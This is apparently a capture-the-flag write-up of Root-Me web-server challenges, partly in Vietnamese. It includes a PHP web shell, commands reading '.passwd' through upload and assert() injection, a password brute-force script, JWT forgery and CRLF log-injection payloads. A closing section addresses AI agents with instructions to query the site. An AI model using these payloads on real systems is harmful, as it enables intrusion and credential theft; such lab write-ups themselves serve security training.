# Web - Server

## Web - Server

### 1.[HTML - Source code](https://www.root-me.org/en/Challenges/Web-Server/HTML-Source-code)

F12 for flag

### 2.[HTTP - IP restriction bypass](https://www.root-me.org/en/Challenges/Web-Server/HTTP-IP-restriction-bypass)

[`document`](https://medium.com/r3d-buck3t/bypass-ip-restrictions-with-burp-suite-fb4c72ec8e9c)

![](/files/rHmTlBHq8T5p8CA26ExJ)

> **Syntax: X-Forwarded-For: \<client>,\<proxy1>,\<proxy2>,\<proxy3>**

Change IP at client to private IP by adding ***an X-Forwarded-For*** header

![](/files/H0h5BB7wyZTdLnAzYJMU)

### 3.[HTTP - Open redirect](https://www.root-me.org/en/Challenges/Web-Server/HTTP-Open-redirect)

![](/files/nMHYvMBrg5OJIAegWGIi)

It combines URL and hash md5 of that one, so that we just put other URL and hash of it.

![](/files/fqplpGKWnsoV2ONzRSxz)

### 4.HTTP - User-agent

change User-Agent to \`admin\`

![](/files/OKVTk4tc6DxNmDrarboH)

### 5.Weak password

```
import requests
from requests.auth import HTTPBasicAuth
url = "http://challenge01.root-me.org/web-serveur/ch3/"
usr = "admin"
words = open('common_password.txt','r').read().split('\n')
cnt =1
for pwd in words:
	print(pwd,cnt)
	
	res = requests.get(url, auth=HTTPBasicAuth(usr, pwd))
	
	if "401" not in res.text:
		print('Password is ' + pwd)
		break
	cnt +=1
```

![](/files/r3StQQFJ3Vg2R92OUwBC)

### 6.PHP - Command injection

![](/files/hdtUfl2EC3iXMAgY6elE)

![](/files/lKdvUXbkWJ8vl8VbUsu3)

[`document`](https://portswigger.net/web-security/os-command-injection)

### 7.Backup file

Use dirsearch find some interesting files:

![](/files/3g2EIDr4YaVJz4gwDKKB)

> /web-serveur/ch11/index.php\~

### 8.HTTP - Directory indexing

> <http://challenge01.root-me.org/web-serveur/ch4/admin/backup/admin.txt>

![](/files/jxYNljENjRQlfN00DA7l)

### 9.HTTP - Headers

With normal request we will get:

![](/files/cXYQa8lvM6Fdt8K7VOAs)

add Header to request:

> Header-RootMe-Admin: True

![](/files/DbRv1QXMNDXiHTOJgZMy)

### 10.HTTP - POST

![](/files/fdVSC0UggtdwFCnIVlx3)

### 11.HTTP - Improper redirect

Capture before it redirect

![](/files/muyJdD7O97pSoIhMsqDY)

### 12.HTTP - Verb tampering

Ban đầu tưởng bruteforce ngồi xài hydra và cái rockyou.txt ra spam cả tiếng&#x20;

![](/files/l0uq9crJfllYifchSuVp)

temper ở đây là chỉ cần đổi method khác ngoài GET và POST là được, cứ PUT với DELETE mà phang

![](/files/FA399wteFglvtuwDU9DI)

### 13.File upload - Double extensions

```
<?php echo shell_exec($_GET['cmd']); ?>
```

set file.php.png and send to the server

![](/files/rGiGg3VVSTqjrCsjbRBy)

```
?cmd=cd;cat .passwd
```

### 14.File upload - MIME type

![](/files/UR09rMIVGU5f5PSjPAnw)

Change Content-Type to image/png and rce

```
?id=cd;cat .passwd
```

### 15.HTTP - Cookies

![chan](/files/CTBDeNVxopfAaEYxxsf6)

change cookie from `visiteur` to `admin`

### 16.JSON Web Token (JWT) - Introduction

![](/files/LjWN4gqYA9OdvdoOsty8)

"none" signature algorithms

### 17.Directory traversal

![](/files/8JuZLpxsp0YhbF6Zkc4Z)

Try with ../ and fuzz

### 18.JSON Web Token (JWT) - Weak secret

![](/files/dBFDEDnCBvsdpKmlpFdX)

bruteforce secret key: lol

![sign new signature](/files/b0PdgRxshWXzoFm2ehiH)

POST and look for the flag hm....

![](/files/rrxeQoSblXzbTXFatxiL)

### 19.File upload - Null byte

create: `file.php%0a.png`

```
<?php echo shell_exec('id'); ?>
```

![](/files/OsFHdNr78p2xR15MJ4My)

![](/files/MxQ6SCpW15gGOG4tmFwh)

### 20.Install files

use dirsearch: /web-serveur/ch6/phpbb/install

![](/files/UXet48ND2V0I5mBqaFI2)

### 21. JWT - Revoked token

source

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, request, jsonify
from flask_jwt_extended import JWTManager, jwt_required, create_access_token, decode_token
import datetime
from apscheduler.schedulers.background import BackgroundScheduler
import threading
import jwt
from config import *
 
# Setup flask
app = Flask(__name__)
 
app.config['JWT_SECRET_KEY'] = SECRET
jwtmanager = JWTManager(app)
blacklist = set()
lock = threading.Lock()
 
# Free memory from expired tokens, as they are no longer useful
def delete_expired_tokens():
    with lock:
        to_remove = set()
        global blacklist
        for access_token in blacklist:
            try:
                jwt.decode(access_token, app.config['JWT_SECRET_KEY'],algorithm='HS256')
            except:
                to_remove.add(access_token)
       
        blacklist = blacklist.difference(to_remove)
 
@app.route("/web-serveur/ch63/")
def index():
    return "POST : /web-serveur/ch63/login <br>\nGET : /web-serveur/ch63/admin"
 
# Standard login endpoint
@app.route('/web-serveur/ch63/login', methods=['POST'])
def login():
    try:
        username = request.json.get('username', None)
        password = request.json.get('password', None)
    except:
        return jsonify({"msg":"""Bad request. Submit your login / pass as {"username":"admin","password":"admin"}"""}), 400
 
    if username != 'admin' or password != 'admin':
        return jsonify({"msg": "Bad username or password"}), 401
 
    access_token = create_access_token(identity=username,expires_delta=datetime.timedelta(minutes=3))
    ret = {
        'access_token': access_token,
    }
   
    with lock:
        blacklist.add(access_token)
 
    return jsonify(ret), 200
 
# Standard admin endpoint
@app.route('/web-serveur/ch63/admin', methods=['GET'])
@jwt_required
def protected():
    access_token = request.headers.get("Authorization").split()[1]
    with lock:
        if access_token in blacklist:
            return jsonify({"msg":"Token is revoked"})
        else:
            return jsonify({'Congratzzzz!!!_flag:': FLAG})
 
 
if __name__ == '__main__':
    scheduler = BackgroundScheduler()
    job = scheduler.add_job(delete_expired_tokens, 'interval', seconds=10)
    scheduler.start()
    app.run(debug=False, host='0.0.0.0', port=5000)
```

Use python request to post data:

```
import requests

url = "http://challenge01.root-me.org/web-serveur/ch63/login"
myobj = {"username": "admin","password": "admin"}
x = requests.post(url, json = myobj)

print(x.text)
#{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NjA3MzI2MjcsIm5iZiI6MTY2MDczMjYyNywianRpIjoiNzFjYTYxYTEtNjU1Yy00Zjk5LTkwM2ItODViZjBjMjI4ZmQ3IiwiZXhwIjoxNjYwNzMyODA3LCJpZGVudGl0eSI6ImFkbWluIiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.7koOz8cupf0o2ZtMA_pr_03cKXq-uIcTgp6zGKMts-g"}
```

The problem that we have to bypass blacklist because with each access\_token it will be added to blacklist:

* with **rfc3548 we can** see that the character out of alphabet will be skipped

![](/files/tMAUffMWQMj7pOLH39ER)

![](/files/Ivku6mIBt9X4S4tZvbC2)

![](/files/AiULpiGk1oaDlZaAcOus)

* underscore **“\_” ,** then replace with “/” &#x20;

![](/files/f2XfVOMxzuAeY5KXWgFy)

* add == in the end of jwt -> fast way to understand

![](/files/yyBnRNsh98khAqzoH97r)

![](/files/QdSspJ1A40SQqoJfJgGX)

### 22. CRLF

Input -> fuzz&#x20;

Thử nhập bừa username và passoword ta thấy rõ log ghi lại username -> tấn công từ đây

![](/files/9ecjdldSz9dSQAZmhnry)

Mục tiêu là có thể log lại`adminauthenticated.`&#x20;

```
?username=admin authenticated.%0d%0aa&password=b
```

gửi payload trên url và urlencode để server decode lại&#x20;

![](/files/IXLiE6hEHNsMfbaJexbl)

### 23. Insecure Code Management

[<mark style="color:blue;">`doc`</mark>](https://levelup.gitconnected.com/exploiting-insecure-code-management-23fcd00eba60)

> <http://challenge01.root-me.org/web-serveur/ch61/.git>

<figure><img src="/files/euOP1V3Lah5AVzaszhso" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/IEpZvBJNXJjlnOLwKB3d" alt=""><figcaption></figcaption></figure>

### 24.PHP - assert()

[`doc`](https://book.hacktricks.xyz/pentesting-web/file-inclusion#lfi-via-phps-assert)

[doc`2`](https://hoccyber.com/khai-thac-lfi/)

**Detect** lỗi **File Inclusion -> LFI via PHP's 'assert**

Khả nghi:

```
GET /web-serveur/ch47/?page= ...
```

command:

```
' and die(system("cat .passwd")) or '
```

<figure><img src="/files/lrMTzRp9fSpHHCncnwdl" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://giongfnef.gitbook.io/giongfnef/wargame-and-and-others/rootme/web-server.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
